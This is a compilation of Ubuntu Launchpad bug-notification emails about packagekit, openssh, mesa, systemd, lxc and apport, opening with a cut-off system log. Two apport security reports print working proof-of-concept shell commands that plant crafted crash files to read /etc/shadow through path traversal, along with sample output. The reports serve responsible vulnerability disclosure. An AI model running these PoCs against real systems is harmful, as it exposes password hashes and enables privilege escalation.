  Apr 08 06:10:13 Keschdeichel rtkit-daemon[1729333]: Successfully dropped 
privileges.
  Apr 08 06:10:13 Keschdeichel rtkit-daemon[1729333]: Successfully limited 
resources.
  Apr 08 06:10:13 Keschdeichel rtkit-daemon[1729333]: pthread_create failed: 
Resource temporarily unavailable
  Apr 08 06:10:13 Keschdeichel rtkit-daemon[1729333]: Canary thread running.
  Apr 08 06:10:13 Keschdeichel rtkit-daemon[1729333]: Exiting canary thread.
  Apr 08 06:10:13 Keschdeichel rtkit-daemon[1729333]: Demoting known real-time 
threads.
  Apr 08 06:10:13 Keschdeichel rtkit-daemon[1729333]: Demoted 0 threads.
  Apr 08 06:10:13 Keschdeichel systemd[1]: rtkit-daemon.service: Main process 
exited, code=exited, status=1/FAILURE
  Apr 08 06:10:13 Keschdeichel systemd[1]: rtkit-daemon.service: Failed with 
result 'exit-code'.
  Apr 08 06:10:13 Keschdeichel dbus-daemon[1208]: [system] Activating via 
systemd: service name='org.freedesktop.RealtimeKit1' 
unit='rtkit-daemon.service' requested by ':1.1176' (uid=121 pid=>
  Apr 08 06:10:13 Keschdeichel systemd[1]: rtkit-daemon.service: Start request 
repeated too quickly.
  Apr 08 06:10:13 Keschdeichel systemd[1]: rtkit-daemon.service: Failed with 
result 'exit-code'.
  Apr 08 06:10:13 Keschdeichel systemd[1]: Failed to start RealtimeKit 
Scheduling Policy Service.
  Apr 08 06:10:13 Keschdeichel bluetoothd[1729331]: Bluetooth daemon 5.53

  
  But that already was only triggered by a gnome restart that kicked of earlier:

  Apr 08 06:09:27 Keschdeichel systemd[1726656]: Started GNOME Shell on Wayland.
  Apr 08 06:09:27 Keschdeichel systemd[1726656]: Reached target GNOME Shell on 
Wayland.
  Apr 08 06:09:27 Keschdeichel systemd[1726656]: Reached target GNOME Session 
is initialized.
  Apr 08 06:09:27 Keschdeichel systemd[1726656]: Reached target GNOME Wayland 
Session.
  Apr 08 06:09:27 Keschdeichel systemd[1726656]: Reached target GNOME Session 
(session: gnome-login).

  
  X was recycleing before:
  Apr 08 06:09:19 Keschdeichel systemd[10683]: Stopping GNOME Shell on X11...
  ...
  Apr 08 06:09:22 Keschdeichel /usr/lib/gdm3/gdm-x-session[10710]: (EE) 
systemd-logind: ReleaseControl failed: Unknown object 
'/org/freedesktop/login1/session/_32'.
  Apr 08 06:09:22 Keschdeichel /usr/lib/gdm3/gdm-x-session[10710]: (II) Server 
terminated successfully (0). Closing log file.

  
  It seems like some internal service broke and everything that followed was a 
secondary issue to that:
  Apr 08 06:09:19 Keschdeichel systemd[1]: NetworkManager.service: Unexpected 
error response from GetNameOwner(): Connection terminated
  Apr 08 06:09:19 Keschdeichel systemd[1]: wpa_supplicant.service: Unexpected 
error response from GetNameOwner(): Connection terminated
  

[Touch-packages] [Bug 1943189] Re: "cannot refresh whilst network offline" bug

[Brian Murray]

** Also affects: packagekit (Ubuntu Impish)
   Importance: Medium
   Status: New

** Tags removed: rls-ii-incoming

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to packagekit in Ubuntu.
https://bugs.launchpad.net/bugs/1943189

Title:
  "cannot refresh whilst network offline" bug

Status in packagekit package in Ubuntu:
  New
Status in packagekit source package in Impish:
  New

Bug description:
  In Ubuntu Impish, an issue has been noted in regards to refreshing
  packages in Plasma Discover for upgrade or installation. An error
  appears upon initialization of the Discover interface:

  "cannot refresh whilst network offline"

  This will happen regardless of if a system is online or not.

  I identified a race condition in which this is occurring on systems
  where packagekitd is initialized before the network service is online.
  This was a relatively easy fix and required adding one line to the
  packagekit.service file:

  Wants=network-online.target

  This ensures that packagekitd is not initialized prior to being
  online. If the 90 second deadline isn't met, then packagekitd will
  simply not start as a background process until the user connects to
  the network and initializes it via a graphical utility, such as with
  GNOME Software or Plasma Discover, both of which initialize
  packagekitd on a user level.

  The attached patch will easily apply the fix via normal Debian
  packaging methods.

  Unfortunately, the upstream PackageKit maintainers seem to be
  unwilling to apply this fix themselves, seeing it as not an issue per
  https://github.com/PackageKit/PackageKit/issues/336

  ProblemType: Bug
  DistroRelease: Ubuntu 21.10
  Package: packagekit 1.2.2-2ubuntu1 [modified: 
lib/systemd/system/packagekit.service]
  ProcVersionSignature: Ubuntu 5.13.0-14.14-lowlatency 5.13.1
  Uname: Linux 5.13.0-14-lowlatency x86_64
  NonfreeKernelModules: zfs zunicode zavl icp zcommon znvpair nvidia_modeset 
nvidia
  ApportVersion: 2.20.11-0ubuntu68
  Architecture: amd64
  CasperMD5CheckResult: unknown
  CurrentDesktop: KDE
  Date: Thu Sep  9 16:34:12 2021
  InstallationDate: Installed on 2021-03-20 (172 days ago)
  InstallationMedia: Ubuntu-Studio 21.04 "Hirsute Hippo" - Alpha amd64 
(20210320)
  SourcePackage: packagekit
  UpgradeStatus: Upgraded to impish on 2021-06-13 (88 days ago)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/packagekit/+bug/1943189/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1938144] Re: monitor_read: unpermitted request 48 on server while attempting GSSAPI key exchange

[Paride Legovini]

** Also affects: openssh (Ubuntu Hirsute)
   Importance: Undecided
   Status: New

** Also affects: openssh (Ubuntu Focal)
   Importance: Undecided
   Status: New

** Changed in: openssh (Ubuntu Focal)
   Status: New => Triaged

** Changed in: openssh (Ubuntu Hirsute)
   Status: New => Triaged

** Tags added: server-next

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to openssh in Ubuntu.
https://bugs.launchpad.net/bugs/1938144

Title:
  monitor_read: unpermitted request 48 on server while attempting GSSAPI
  key exchange

Status in portable OpenSSH:
  Unknown
Status in openssh package in Ubuntu:
  Triaged
Status in openssh source package in Focal:
  Triaged
Status in openssh source package in Hirsute:
  Triaged

Bug description:
  I'm using openssh 1:8.2p1-4ubuntu0.2 on Ubuntu 20.04.2 LTS (client and
  server) with the option "GSSAPIKeyExchange=yes", and this causes the
  connection to fail. The server has GSSAPI (Kerberos authentication)
  enabled, but is is only used for non-root users (root uses SSH keys).

  Client command:

  ssh -o PreferredAuthentications=gssapi-with-mic,gssapi-keyex
  root@server -v -p  -o GSSAPIKeyExchange=yes

  Client log:

  OpenSSH_8.2p1 Ubuntu-4ubuntu0.2, OpenSSL 1.1.1f  31 Mar 2020
  debug1: Reading configuration data /home/user/.ssh/config
  debug1: Reading configuration data /etc/ssh/ssh_config
  debug1: /etc/ssh/ssh_config line 19: include /etc/ssh/ssh_config.d/*.conf 
matched no files
  debug1: /etc/ssh/ssh_config line 21: Applying options for *
  debug1: Connecting to compute-test [130.75.80.46] port .
  debug1: Connection established.
  debug1: identity file /home/rother/.ssh/id_rsa type 0
  debug1: identity file /home/rother/.ssh/id_rsa-cert type -1
  debug1: identity file /home/rother/.ssh/id_dsa type -1
  debug1: identity file /home/rother/.ssh/id_dsa-cert type -1
  debug1: identity file /home/rother/.ssh/id_ecdsa type -1
  debug1: identity file /home/rother/.ssh/id_ecdsa-cert type -1
  debug1: identity file /home/rother/.ssh/id_ecdsa_sk type -1
  debug1: identity file /home/rother/.ssh/id_ecdsa_sk-cert type -1
  debug1: identity file /home/rother/.ssh/id_ed25519 type -1
  debug1: identity file /home/rother/.ssh/id_ed25519-cert type -1
  debug1: identity file /home/rother/.ssh/id_ed25519_sk type -1
  debug1: identity file /home/rother/.ssh/id_ed25519_sk-cert type -1
  debug1: identity file /home/rother/.ssh/id_xmss type -1
  debug1: identity file /home/rother/.ssh/id_xmss-cert type -1
  debug1: Local version string SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.2
  debug1: Remote protocol version 2.0, remote software version OpenSSH_8.2p1 
Ubuntu-4ubuntu0.2
  debug1: match: OpenSSH_8.2p1 Ubuntu-4ubuntu0.2 pat OpenSSH* compat 0x0400
  debug1: Authenticating to server: as 'root'
  debug1: Offering GSSAPI proposal: 
gss-gex-sha1-toWM5Slw5Ew8Mqkay+al2g==,gss-group14-sha1-toWM5Slw5Ew8Mqkay+al2g==,gss-gex-sha1-eipGX3TCiQSrx573bT1o1Q==,gss-group14-sha1-eipGX3TCiQSrx573bT1o1Q==
  debug1: SSH2_MSG_KEXINIT sent
  debug1: SSH2_MSG_KEXINIT received
  debug1: kex: algorithm: gss-gex-sha1-toWM5Slw5Ew8Mqkay+al2g==
  debug1: kex: host key algorithm: ecdsa-sha2-nistp256
  debug1: kex: server->client cipher: chacha20-poly1...@openssh.com MAC: 
 compression: none
  debug1: kex: client->server cipher: chacha20-poly1...@openssh.com MAC: 
 compression: none
  debug1: Doing group exchange
  debug1: Calling gss_init_sec_context
  debug1: Delegating credentials
  debug1: Received GSSAPI_COMPLETE
  debug1: Calling gss_init_sec_context
  debug1: Delegating credentials
  debug1: Rekey has happened - updating saved versions
  debug1: rekey out after 134217728 blocks
  debug1: SSH2_MSG_NEWKEYS sent
  debug1: expecting SSH2_MSG_NEWKEYS
  debug1: SSH2_MSG_NEWKEYS received
  debug1: rekey in after 134217728 blocks
  debug1: Will attempt key: /home/rother/.ssh/id_rsa RSA 
SHA256:n/EY/cGjgd/r+7JpuqODxIotHHLsYptGXYx9GlKCWSM agent
  debug1: Will attempt key: /home/rother/.ssh/root_id_rsa RSA 
SHA256:yCLAID9FMILharHmDpCB8wW8eiA+iHa4oQKLODbbzKw agent
  debug1: Will attempt key: /home/user/.ssh/id_dsa 
  debug1: Will attempt key: /home/user/.ssh/id_ecdsa 
  debug1: Will attempt key: /home/user/.ssh/id_ecdsa_sk 
  debug1: Will attempt key: /home/user/.ssh/id_ed25519 
  debug1: Will attempt key: /home/user/.ssh/id_ed25519_sk 
  debug1: Will attempt key: /home/user/.ssh/id_xmss 
  debug1: SSH2_MSG_EXT_INFO received
  debug1: kex_input_ext_info: 
server-sig-algs=
  debug1: SSH2_MSG_SERVICE_ACCEPT received
  debug1: Authentications that can continue: 
publickey,gssapi-keyex,gssapi-with-mic,password
  debug1: Next authentication method: gssapi-with-mic
  debug1: Delegating credentials
  debug1: Delegating credentials
  debug1: Authentications that can continue: 
publickey,gssapi-keyex,gssapi-with-mic,password
  debug1: Authentications that can continue: 
publickey,gssapi-keyex,gssapi-with-mic,password
  debug1: Next 

[Touch-packages] [Bug 1938065] Re: systemd 248.3-1ubuntu2 fails to install (when upgrading 21.04->21.10)

[André]

This was a byproduct of a incomplete usrmerge

Calling the binary below and solving the problems fixed the issue

/usr/lib/usrmerge/convert-usrmerge

** Changed in: systemd (Ubuntu)
   Status: New => Invalid

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1938065

Title:
  systemd 248.3-1ubuntu2 fails to install (when upgrading 21.04->21.10)

Status in systemd package in Ubuntu:
  Invalid

Bug description:
  This happened when trying to upgrade from 21.04 to 21.10.

  Setting up systemd (248.3-1ubuntu2) ...
  systemd-machine-id-setup: error while loading shared libraries: 
libsystemd-shared-247.so: cannot open shared object file: No such file or 
directory
  dpkg: error processing package systemd (--configure):
   installed systemd package post-installation script subprocess returned error 
exit status 127
  Processing triggers for initramfs-tools (0.140ubuntu6) ...
  update-initramfs: Generating /boot/initrd.img-5.11.0-25-generic
  Processing triggers for libc-bin (2.33-0ubuntu7) ...
  Processing triggers for man-db (2.9.4-2) ...
  Processing triggers for dbus (1.12.20-2ubuntu1) ...
  Errors were encountered while processing:
   systemd

  I reverted to old version by manualing installing the hirsute's debs
  (from 21.04: libsystemd0_247.3-3ubuntu3.4_i386.deb
  systemd_247.3-3ubuntu3.4_amd64.deb libnss-
  systemd_247.3-3ubuntu3.4_amd64.deb libsystemd-
  dev_247.3-3ubuntu3.4_amd64.deb systemd-sysv_247.3-3ubuntu3.4_amd64.deb
  libpam-systemd_247.3-3ubuntu3.4_amd64.deb
  libudev1_247.3-3ubuntu3.4_amd64.deb udev_247.3-3ubuntu3.4_amd64.deb
  libsystemd0_247.3-3ubuntu3.4_amd64.deb libudev-
  dev_247.3-3ubuntu3.4_amd64.deb)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1938065/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1933832] Re: Path traversal leads to arbitrary file read

[Ubuntu Foundations Team Bug Bot]

** Tags added: patch

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1933832

Title:
  Path traversal leads to arbitrary file read

Status in apport package in Ubuntu:
  Fix Released
Status in openjdk-13 package in Ubuntu:
  New
Status in openjdk-14 package in Ubuntu:
  New
Status in openjdk-15 package in Ubuntu:
  New
Status in openjdk-16 package in Ubuntu:
  New
Status in openjdk-17 package in Ubuntu:
  New
Status in openjdk-18 package in Ubuntu:
  New
Status in openjdk-8 package in Ubuntu:
  New
Status in xorg package in Ubuntu:
  New

Bug description:
  While reiterating the issues reported in
  https://bugs.launchpad.net/bugs/1917904, Stephen Röttger (@_tsuro)
  mentioned, that the second issue "Arbitrary file read in package-
  hooks/source_xorg.py (Info)" might additionally contain a path
  traversal vulnerability. This was confirmed by developing a PoC, that
  enables a user to read arbitrary files in the context of the root
  user, leading to elevation of privileges. Exploiting this issue
  requires, that automatic crash reporting is enabled.

  The following excerpt of the file `package-hooks/source_xorg.py` shows the 
vulnerable code:
   
  if True or report.get('SourcePackage','Unknown') == "compiz" and "ProcStatus" 
in report:
  compiz_pid = 0
  pid_line = re.search("Pid:\t(.*)\n", report["ProcStatus"])   # [0]
  if pid_line:
  compiz_pid = pid_line.groups()[0]
  compiz_state_file = '/tmp/compiz_internal_state%s' % compiz_pid  # [1]
  attach_file_if_exists(report, compiz_state_file, "compiz_internal_states")

  While in [0] the `pid_line` is extracted, this value (if successfully 
matched) is appended to the file path resulting in `compiz_state_file` [1], 
which is subsequently attached to the crash file.
  Using a `Pid` such as `JRN/../../../../etc/shadow` therefore results in the 
file `/etc/shadow` being attached (after creating the directory 
`/tmp/compiz_internal_stateJRN`).

  The following POC (tested on 20.04/21.04 Desktop) exploits this issue
  to read the file `/etc/shadow`:

  mkdir /tmp/compiz_internal_stateJRN/;pid=$'\tJRN/../../../etc/shadow';cat << 
EOF > /var/crash/poc.crash
  ProblemType: Crash
  ExecutablePath: /poc
  Package: source_xorg 123
  SourcePackage: compiz
  ProcStatus:
   Pid:$pid
   Uid:$pid
  EOF

  When reading the crash file (after `whoopsie-upload-all` ran), the contents 
of the file `/etc/shadow` are indeed attached:
  grep -A3 compiz_internal /var/crash/poc.crash
  compiz_internal_states:
   root:!:18393:0:9:7:::
   daemon:*:18375:0:9:7:::
   bin:*:18375:0:9:7:::

  Please credit Stephen Röttger (@_tsuro) in a potential CVE/USN.

  Best regards,
  Maik

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1933832/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1933832] Re: Path traversal leads to arbitrary file read

[Marc Deslauriers]

** Information type changed from Private Security to Public Security

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1933832

Title:
  Path traversal leads to arbitrary file read

Status in apport package in Ubuntu:
  Fix Released
Status in openjdk-13 package in Ubuntu:
  New
Status in openjdk-14 package in Ubuntu:
  New
Status in openjdk-15 package in Ubuntu:
  New
Status in openjdk-16 package in Ubuntu:
  New
Status in openjdk-17 package in Ubuntu:
  New
Status in openjdk-18 package in Ubuntu:
  New
Status in openjdk-8 package in Ubuntu:
  New
Status in xorg package in Ubuntu:
  New

Bug description:
  While reiterating the issues reported in
  https://bugs.launchpad.net/bugs/1917904, Stephen Röttger (@_tsuro)
  mentioned, that the second issue "Arbitrary file read in package-
  hooks/source_xorg.py (Info)" might additionally contain a path
  traversal vulnerability. This was confirmed by developing a PoC, that
  enables a user to read arbitrary files in the context of the root
  user, leading to elevation of privileges. Exploiting this issue
  requires, that automatic crash reporting is enabled.

  The following excerpt of the file `package-hooks/source_xorg.py` shows the 
vulnerable code:
   
  if True or report.get('SourcePackage','Unknown') == "compiz" and "ProcStatus" 
in report:
  compiz_pid = 0
  pid_line = re.search("Pid:\t(.*)\n", report["ProcStatus"])   # [0]
  if pid_line:
  compiz_pid = pid_line.groups()[0]
  compiz_state_file = '/tmp/compiz_internal_state%s' % compiz_pid  # [1]
  attach_file_if_exists(report, compiz_state_file, "compiz_internal_states")

  While in [0] the `pid_line` is extracted, this value (if successfully 
matched) is appended to the file path resulting in `compiz_state_file` [1], 
which is subsequently attached to the crash file.
  Using a `Pid` such as `JRN/../../../../etc/shadow` therefore results in the 
file `/etc/shadow` being attached (after creating the directory 
`/tmp/compiz_internal_stateJRN`).

  The following POC (tested on 20.04/21.04 Desktop) exploits this issue
  to read the file `/etc/shadow`:

  mkdir /tmp/compiz_internal_stateJRN/;pid=$'\tJRN/../../../etc/shadow';cat << 
EOF > /var/crash/poc.crash
  ProblemType: Crash
  ExecutablePath: /poc
  Package: source_xorg 123
  SourcePackage: compiz
  ProcStatus:
   Pid:$pid
   Uid:$pid
  EOF

  When reading the crash file (after `whoopsie-upload-all` ran), the contents 
of the file `/etc/shadow` are indeed attached:
  grep -A3 compiz_internal /var/crash/poc.crash
  compiz_internal_states:
   root:!:18393:0:9:7:::
   daemon:*:18375:0:9:7:::
   bin:*:18375:0:9:7:::

  Please credit Stephen Röttger (@_tsuro) in a potential CVE/USN.

  Best regards,
  Maik

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1933832/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1934308] Re: Arbitrary file read in general hook (ubuntu.py)

[Marc Deslauriers]

** Information type changed from Private Security to Public Security

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1934308

Title:
  Arbitrary file read in general hook (ubuntu.py)

Status in apport package in Ubuntu:
  Fix Released

Bug description:
  While reviewing Apport's general hooks it was found that the hook
  `apport/general-hooks/ubuntu.py` includes user controlled files when
  handling `emacs`-related reports:

  if report['Package'] in ['emacs22', 'emacs23', 'emacs-snapshot', 'xemacs21']:
  # emacs add-on packages trigger byte compilation, which might fail
  # we are very interested in reading the compilation log to determine
  # where to reassign this report to
  regex = r'^!! Byte-compilation for x?emacs\S+ failed!'
  if attachment in report and re.search(regex, log_file, re.MULTILINE):
  for line in log_file.split('\n'):
  m = re.search(r'^!! and attach the file (\S+)', line)  # [0]
  if m:
  path = m.group(1)
  apport.hookutils.attach_file_if_exists(report, path)  # [1]

  After using a regular expression to extract the file to attach [0],
  the extracted file subsequently gets attached to the report file [1].

  With automatic crash reporting enabled the following PoC (tested on
  20.04/21.04 Desktop) includes the file `/etc/shadow` in the respective
  report file:

  cat << EOF > /var/crash/poc.crash
  ProblemType: Package
  ExecutablePath: /poc
  Package: emacs22
  DpkgTerminalLog: !! Byte-compilation for emacs22 failed!
   !! and attach the file /etc/shadow
  EOF

  grep -A5 DpkgTerminal /var/crash/poc.crash
  DpkgTerminalLog: !! Byte-compilation for emacs22 failed!
   !! and attach the file /etc/shadow
  .etc.shadow:
   root:!:18393:0:9:7:::
   daemon:*:18375:0:9:7:::
   bin:*:18375:0:9:7:::

  Best regards!

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1934308/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1943818] Re: mesa built with -O3 on ppc64el has broken EGL

[Frank Heimes]

** Also affects: ubuntu-power-systems
   Importance: Undecided
   Status: New

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to mesa in Ubuntu.
https://bugs.launchpad.net/bugs/1943818

Title:
  mesa built with -O3 on ppc64el has broken EGL

Status in Mesa:
  Unknown
Status in The Ubuntu-power-systems project:
  New
Status in gcc-11 package in Ubuntu:
  New
Status in mesa package in Ubuntu:
  New

Bug description:
  If mesa is built with -O3 then EGL will fail with:

  libEGL warning: DRI2: failed to create any config

  this can be easily reproduced by building libepoxy which then runs a
  series of tests.

  The same is fine on amd64, and also ppc64el is fine with gcc-10 and
  -O3.

To manage notifications about this bug go to:
https://bugs.launchpad.net/mesa/+bug/1943818/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1937988] Re: The image is distorted while use iGPU rendering and output via AMD GPU

[Launchpad Bug Tracker]

This bug was fixed in the package mesa - 21.2.1-2ubuntu2

---
mesa (21.2.1-2ubuntu2) impish; urgency=medium

  * Revert previous change and use -O2 for ppc64el.

 -- Timo Aaltonen   Wed, 15 Sep 2021 18:29:13 +0300

** Changed in: mesa (Ubuntu)
   Status: Fix Committed => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to mesa in Ubuntu.
https://bugs.launchpad.net/bugs/1937988

Title:
  The image is distorted while use iGPU rendering and output via AMD GPU

Status in OEM Priority Project:
  Fix Released
Status in mesa package in Ubuntu:
  Fix Released
Status in mesa source package in Focal:
  Fix Released
Status in mesa source package in Hirsute:
  Fix Released

Bug description:
  [Impact]
  Image is distorted with PRIME, caused by mismatch in stride alignment between 
intel and amdgpu/nvidia after intel bumped the alignment to 256 bytes.

  [Fix]
  Upstream fixed it in 21.2-series, and backport to 21.0.x needs four commits 
in total.

  [Test case]
  1. Connect a monitor on the AMD GPU.
  2. Power on the system and boot into OS.
  3. Run below command to launch glxgears
  Cmd> DRI_PRIME=1 glxgears -info

  * Expected result
  The image is not distorted while running the glxgears

  * Actual result
  The image is distorted while running the glxgears

  [Where things might go wrong]
  This is a regression caused by the intel driver, so the backports merely fix 
what got broken. Regressions would only manifest on hybrid graphics platforms.

  
  ---

  Here is the upstream bug for tracking this issue.
  
https://gitlab.freedesktop.org/mesa/mesa/-/merge_requests/11942?commit_id=505f815e5ead8c9872bbda4c1ff3aeaee7223d64

To manage notifications about this bug go to:
https://bugs.launchpad.net/oem-priority/+bug/1937988/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1943818] Re: mesa built with -O3 on ppc64el has broken EGL

[Timo Aaltonen]

** Description changed:

  If mesa is built with -O3 then EGL will fail with:
  
  libEGL warning: DRI2: failed to create any config
  
  this can be easily reproduced by building libepoxy which then runs a
  series of tests.
+ 
+ The same is fine on amd64, and also ppc64el is fine with gcc-10 and -O3.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to mesa in Ubuntu.
https://bugs.launchpad.net/bugs/1943818

Title:
  mesa built with -O3 on ppc64el has broken EGL

Status in Mesa:
  Unknown
Status in gcc-11 package in Ubuntu:
  New
Status in mesa package in Ubuntu:
  New

Bug description:
  If mesa is built with -O3 then EGL will fail with:

  libEGL warning: DRI2: failed to create any config

  this can be easily reproduced by building libepoxy which then runs a
  series of tests.

  The same is fine on amd64, and also ppc64el is fine with gcc-10 and
  -O3.

To manage notifications about this bug go to:
https://bugs.launchpad.net/mesa/+bug/1943818/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1943818] Re: mesa built with -O3 on ppc64el has broken EGL

[Matthias Klose]

** Tags added: ppc64el

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to mesa in Ubuntu.
https://bugs.launchpad.net/bugs/1943818

Title:
  mesa built with -O3 on ppc64el has broken EGL

Status in Mesa:
  Unknown
Status in gcc-11 package in Ubuntu:
  New
Status in mesa package in Ubuntu:
  New

Bug description:
  If mesa is built with -O3 then EGL will fail with:

  libEGL warning: DRI2: failed to create any config

  this can be easily reproduced by building libepoxy which then runs a
  series of tests.

  The same is fine on amd64, and also ppc64el is fine with gcc-10 and
  -O3.

To manage notifications about this bug go to:
https://bugs.launchpad.net/mesa/+bug/1943818/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1943818] [NEW] mesa built with -O3 on ppc64el has broken EGL

[Timo Aaltonen]

Public bug reported:

If mesa is built with -O3 then EGL will fail with:

libEGL warning: DRI2: failed to create any config

this can be easily reproduced by building libepoxy which then runs a
series of tests.

The same is fine on amd64, and also ppc64el is fine with gcc-10 and -O3.

** Affects: mesa
 Importance: Unknown
 Status: Unknown

** Affects: gcc-11 (Ubuntu)
 Importance: Undecided
 Status: New

** Affects: mesa (Ubuntu)
 Importance: Undecided
 Status: New


** Tags: ppc64el

** Bug watch added: gitlab.freedesktop.org/mesa/mesa/-/issues #5315
   https://gitlab.freedesktop.org/mesa/mesa/-/issues/5315

** Also affects: mesa via
   https://gitlab.freedesktop.org/mesa/mesa/-/issues/5315
   Importance: Unknown
   Status: Unknown

** Also affects: gcc-11 (Ubuntu)
   Importance: Undecided
   Status: New

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to mesa in Ubuntu.
https://bugs.launchpad.net/bugs/1943818

Title:
  mesa built with -O3 on ppc64el has broken EGL

Status in Mesa:
  Unknown
Status in gcc-11 package in Ubuntu:
  New
Status in mesa package in Ubuntu:
  New

Bug description:
  If mesa is built with -O3 then EGL will fail with:

  libEGL warning: DRI2: failed to create any config

  this can be easily reproduced by building libepoxy which then runs a
  series of tests.

  The same is fine on amd64, and also ppc64el is fine with gcc-10 and
  -O3.

To manage notifications about this bug go to:
https://bugs.launchpad.net/mesa/+bug/1943818/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1886790] Re: lxc 3.0.3-0ubuntu1~18.04.1 ADT test failure with B/5.4 kernels (device_add_remove_test)

[Po-Hsu Lin]

Spotted on linux-gkeop-5.4/5.4.0-1024.25~18.04.1

** Tags added: sru-20210906

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to lxc in Ubuntu.
https://bugs.launchpad.net/bugs/1886790

Title:
  lxc 3.0.3-0ubuntu1~18.04.1 ADT test failure with B/5.4 kernels
  (device_add_remove_test)

Status in ubuntu-kernel-tests:
  New
Status in lxc package in Ubuntu:
  In Progress
Status in lxc source package in Bionic:
  Confirmed

Bug description:
  Testing failed on:
  amd64: 
https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-bionic/bionic/amd64/l/lxc/20200706_183234_ca65f@/log.gz
  arm64: 
https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-bionic/bionic/arm64/l/lxc/20200706_172136_71b68@/log.gz
  ppc64el: 
https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-bionic/bionic/ppc64el/l/lxc/20200706_191938_cedac@/log.gz
  s390x: 
https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-bionic/bionic/s390x/l/lxc/20200706_163359_98d4d@/log.gz

  The failing test seems to be:

  FAIL: lxc-tests: lxc-test-device-add-remove (0s)
  ---
  Adding /dev/network_latency to the container (device_add_remove_test) 
failed...
  ---

  This is a regression from the 4.15/5.3 to 5.4 kernels in Bionic. Note
  that this testcase is successful on Focal with the same kernel
  version.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu-kernel-tests/+bug/1886790/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1938259] Re: Add ACCEL_LOCATION=base property for Dell clamshell models

[Yao Wei]

New SRU bug has been opened at LP: #1943561

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1938259

Title:
  Add ACCEL_LOCATION=base property for Dell clamshell models

Status in OEM Priority Project:
  Won't Fix
Status in systemd package in Ubuntu:
  Won't Fix
Status in systemd source package in Focal:
  Won't Fix
Status in systemd source package in Hirsute:
  Won't Fix
Status in systemd source package in Impish:
  Won't Fix

Bug description:
  We are planning to do SRU to systemd in focal, to avoid unwanted
  screen rotations on some Dell laptop models.

  [Impact]

   * This fixes unwanted rotations on certain Dell clamshell laptop
  models with accelerometer.

  [Test Plan]

